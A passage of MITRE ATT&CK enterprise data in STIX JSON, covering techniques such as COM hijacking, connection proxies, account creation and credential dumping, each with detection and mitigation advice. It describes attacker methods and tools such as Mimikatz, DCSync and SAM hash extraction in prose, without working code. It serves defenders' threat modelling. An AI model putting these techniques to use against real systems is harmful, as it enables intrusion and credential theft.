                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.\n\nDetection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: No",
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                {
                    "source_name": "Wikipedia Command-Line Interface",
                    "description": "Wikipedia. (2016, June 26). Command-line interface. Retrieved June 27, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Command-line%20interface"
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            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "external_references": [
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                    "external_id": "T1043"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "name": "Communication Through Removable Media Mitigation",
            "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)",
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                    "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.",
                    "url": "https://support.microsoft.com/en-us/kb/967715"
                },
                {
                    "source_name": "TechNet Removable Media Control",
                    "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx"
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            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Communication Through Removable Media",
            "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Data loss prevention\n\nRequires Network: No",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1092",
                    "external_id": "T1092"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Data loss prevention"
            ],
            "x_mitre_network_requirements": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:22.374Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Component Firmware",
            "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\n\nPlatforms: Windows\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems\n\nPermissions Required: SYSTEM\n\nSystem Requirements: Ability to update component device firmware from the host operating system.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1109",
                    "external_id": "T1109"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "File monitoring",
                "Host intrusion prevention systems"
            ],
            "x_mitre_permissions_required": [
                "SYSTEM"
            ],
            "x_mitre_system_requirements": [
                "Ability to update component device firmware from the host operating system."
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Component Object Model Hijacking Mitigation",
            "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1122",
                    "external_id": "T1122"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:33.979Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Component Object Model Hijacking",
            "description": "The  (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nDetection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\</code>. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, DLL monitoring, Loaded DLLs\n\nDefense Bypassed: Autoruns Analysis\n\nPermissions Required: User\n\nContributors: ENDGAME",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1122",
                    "external_id": "T1122"
                },
                {
                    "source_name": "Microsoft Component Object Model",
                    "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.",
                    "url": "https://msdn.microsoft.com/library/ms694363.aspx"
                },
                {
                    "source_name": "GDATA COM Hijacking",
                    "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.",
                    "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence"
                },
                {
                    "source_name": "Endgame COM Hijacking",
                    "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.",
                    "url": "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_contributors": [
                "ENDGAME"
            ],
            "x_mitre_data_sources": [
                "Windows Registry",
                "DLL monitoring",
                "Loaded DLLs"
            ],
            "x_mitre_defense_bypassed": [
                "Autoruns Analysis"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--d75a3d1b-b536-4f15-a23c-f4bcc17837b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Connection Proxy Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1090",
                    "external_id": "T1090"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:08.479Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Connection Proxy",
            "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture\n\nRequires Network: Yes\n\nContributors: Walker Johnson",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1090",
                    "external_id": "T1090"
                },
                {
                    "source_name": "Trend Micro APT Attack Tools",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_contributors": [
                "Walker Johnson"
            ],
            "x_mitre_data_sources": [
                "Process use of network",
                "Process monitoring",
                "Netflow/Enclave netflow",
                "Packet capture"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Create Account Mitigation",
            "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1136",
                    "external_id": "T1136"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Create Account",
            "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe <code>net user</code> commands can be used to create a local or domain account.\n\nDetection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs\n\nPermissions Required: Administrator",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1136",
                    "external_id": "T1136"
                },
                {
                    "source_name": "Microsoft User Creation Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/windows/device-security/auditing/event-4720"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Process Monitoring",
                "Process command-line parameters",
                "Authentication logs",
                "Windows event logs"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Credential Dumping Mitigation",
            "description": "Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1003",
                    "external_id": "T1003"
                },
                {
                    "source_name": "Microsoft LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                },
                {
                    "source_name": "TechNet Credential Guard",
                    "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard"
                },
                {
                    "source_name": "GitHub SHB Credential Guard",
                    "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017."
                },
                {
                    "source_name": "AdSecurity DCSync Sept 2015",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "url": "https://adsecurity.org/?p=1729"
                },
                {
                    "source_name": "Microsoft Replication ACL",
                    "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.",
                    "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr"
                },
                {
                    "source_name": "Microsoft Disable NTLM Nov 2012",
                    "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.",
                    "url": "https://technet.microsoft.com/library/jj865668.aspx"
                }
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            "type": "attack-pattern",
            "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:19.735Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Credential Dumping",
            "description": "Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Lateral Movement and access restricted information.\n\nTools may dump credentials in many different ways: extracting credential hashes for offline cracking, extracting plaintext passwords, and extracting Kerberos tickets, among others. Examples of credential dumpers include pwdump7, Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.\n\nPlaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped. (Citation: Github Mimikatz Module sekurlsa)\n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's  application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller.  Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data  (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\nDetection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.\n\nNTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
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                {
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                    "url": "https://attack.mitre.org/wiki/Technique/T1003",
                    "external_id": "T1003"
                },
                {
                    "source_name": "Github Mimikatz Module sekurlsa",
                    "description": "Delpy, B. (2014, September 14). Mimikatz module ~ sekurlsa. Retrieved January 10, 2016.",
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.).  Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "ADSecurity Mimikatz DCSync",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.",
                    "url": "https://adsecurity.org/?p=1729"
                },
                {
                    "source_name": "Harmj0y Mimikatz and DCSync",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.",
                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
                },
                {
                    "source_name": "GitHub Mimikatz lsadump Module",
                    "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"
                },
                {
                    "source_name": "Microsoft DRSR Dec 2017",
                    "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc228086.aspx"
                },
                {
                    "source_name": "Microsoft GetNCCChanges",
                    "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/dd207691.aspx"
                },
                {
                    "source_name": "Samba DRSUAPI",
                    "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
                    "url": "https://wiki.samba.org/index.php/DRSUAPI"
                },
                {
                    "source_name": "Wine API samlib.dll",
                    "description": "Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.",
                    "url": "https://source.winehq.org/WineAPI/samlib.html"
                },
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                    "source_name": "InsiderThreat ChangeNTLM July 2017",
                    "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
                    "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
